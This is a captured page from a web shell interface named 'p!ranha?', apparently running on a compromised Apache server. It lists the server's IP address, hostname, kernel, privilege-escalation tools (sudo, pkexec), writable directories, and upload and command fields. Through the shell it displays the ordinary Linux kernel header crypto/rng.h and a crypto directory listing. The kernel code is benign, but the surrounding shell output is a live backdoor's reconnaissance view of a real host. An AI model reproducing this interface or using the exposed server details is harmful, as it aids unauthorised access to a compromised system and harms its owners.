p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/crypto/rng.h
/*
 * RNG: Random Number Generator  algorithms under the crypto API
 *
 * Copyright (c) 2008 Neil Horman <nhorman@tuxdriver.com>
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the Free
 * Software Foundation; either version 2 of the License, or (at your option)
 * any later version.
 *
 */

#ifndef _CRYPTO_RNG_H
#define _CRYPTO_RNG_H

#include <linux/crypto.h>

extern struct crypto_rng *crypto_default_rng;

int crypto_get_default_rng(void);
void crypto_put_default_rng(void);

static inline struct crypto_rng *__crypto_rng_cast(struct crypto_tfm *tfm)
{
	return (struct crypto_rng *)tfm;
}

static inline struct crypto_rng *crypto_alloc_rng(const char *alg_name,
						  u32 type, u32 mask)
{
	type &= ~CRYPTO_ALG_TYPE_MASK;
	type |= CRYPTO_ALG_TYPE_RNG;
	mask |= CRYPTO_ALG_TYPE_MASK;

	return __crypto_rng_cast(crypto_alloc_base(alg_name, type, mask));
}

static inline struct crypto_tfm *crypto_rng_tfm(struct crypto_rng *tfm)
{
	return &tfm->base;
}

static inline struct rng_alg *crypto_rng_alg(struct crypto_rng *tfm)
{
	return &crypto_rng_tfm(tfm)->__crt_alg->cra_rng;
}

static inline struct rng_tfm *crypto_rng_crt(struct crypto_rng *tfm)
{
	return &crypto_rng_tfm(tfm)->crt_rng;
}

static inline void crypto_free_rng(struct crypto_rng *tfm)
{
	crypto_free_tfm(crypto_rng_tfm(tfm));
}

static inline int crypto_rng_get_bytes(struct crypto_rng *tfm,
				       u8 *rdata, unsigned int dlen)
{
	return crypto_rng_crt(tfm)->rng_gen_random(tfm, rdata, dlen);
}

static inline int crypto_rng_reset(struct crypto_rng *tfm,
				   u8 *seed, unsigned int slen)
{
	return crypto_rng_crt(tfm)->rng_reset(tfm, seed, slen);
}

static inline int crypto_rng_seedsize(struct crypto_rng *tfm)
{
	return crypto_rng_alg(tfm)->seedsize;
}

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
internal
--
September 29 2025 07:01:15
0 / 0
0755
acompress.h
7.825 KB
November 06 2023 09:15:52
0 / 0
0644
aead.h
2.583 KB
November 06 2023 09:15:52
0 / 0
0644
aes.h
0.995 KB
November 06 2023 09:15:52
0 / 0
0644
akcipher.h
11.523 KB
November 06 2023 09:15:52
0 / 0
0644
algapi.h
10.815 KB
November 06 2023 09:15:52
0 / 0
0644
authenc.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
b128ops.h
2.413 KB
November 06 2023 09:15:52
0 / 0
0644
blowfish.h
0.367 KB
November 06 2023 09:15:52
0 / 0
0644
cast5.h
0.538 KB
November 06 2023 09:15:52
0 / 0
0644
cast6.h
0.583 KB
November 06 2023 09:15:52
0 / 0
0644
cast_common.h
0.188 KB
November 06 2023 09:15:52
0 / 0
0644
chacha20.h
0.245 KB
November 06 2023 09:15:52
0 / 0
0644
compress.h
4.01 KB
November 06 2023 09:15:52
0 / 0
0644
cryptd.h
2.054 KB
November 06 2023 09:15:52
0 / 0
0644
crypto_wq.h
0.119 KB
November 06 2023 09:15:52
0 / 0
0644
ctr.h
0.512 KB
November 06 2023 09:15:52
0 / 0
0644
des.h
0.394 KB
November 06 2023 09:15:52
0 / 0
0644
dh.h
0.804 KB
November 06 2023 09:15:52
0 / 0
0644
drbg.h
8.791 KB
November 06 2023 09:15:52
0 / 0
0644
ecdh.h
0.825 KB
November 06 2023 09:15:52
0 / 0
0644
gcm.h
0.137 KB
November 06 2023 09:15:52
0 / 0
0644
gf128mul.h
8.083 KB
November 06 2023 09:15:52
0 / 0
0644
ghash.h
0.334 KB
November 06 2023 09:15:52
0 / 0
0644
hash.h
9.473 KB
November 06 2023 09:15:52
0 / 0
0644
hash_info.h
1.126 KB
November 06 2023 09:15:52
0 / 0
0644
hmac.h
0.131 KB
November 06 2023 09:15:52
0 / 0
0644
if_alg.h
2.288 KB
November 06 2023 09:15:52
0 / 0
0644
kpp.h
8.763 KB
November 06 2023 09:15:52
0 / 0
0644
lrw.h
1.18 KB
November 06 2023 09:15:52
0 / 0
0644
mcryptd.h
2.313 KB
November 06 2023 09:15:52
0 / 0
0644
md5.h
0.281 KB
November 06 2023 09:15:52
0 / 0
0644
padlock.h
0.634 KB
November 06 2023 09:15:52
0 / 0
0644
pcrypt.h
1.401 KB
November 06 2023 09:15:52
0 / 0
0644
pkcs7.h
0.946 KB
November 06 2023 09:15:52
0 / 0
0644
public_key.h
2.664 KB
November 06 2023 09:15:52
0 / 0
0644
rng.h
1.798 KB
November 06 2023 09:15:52
0 / 0
0644
scatterwalk.h
3.348 KB
November 06 2023 09:15:52
0 / 0
0644
serpent.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
sha.h
2.656 KB
November 06 2023 09:15:52
0 / 0
0644
sha1_base.h
2.473 KB
November 06 2023 09:15:52
0 / 0
0644
sha256_base.h
3.026 KB
November 06 2023 09:15:52
0 / 0
0644
sha512_base.h
3.194 KB
November 06 2023 09:15:52
0 / 0
0644
skcipher.h
16.099 KB
November 06 2023 09:15:52
0 / 0
0644
twofish.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
xts.h
1.187 KB
November 06 2023 09:15:52
0 / 0
0644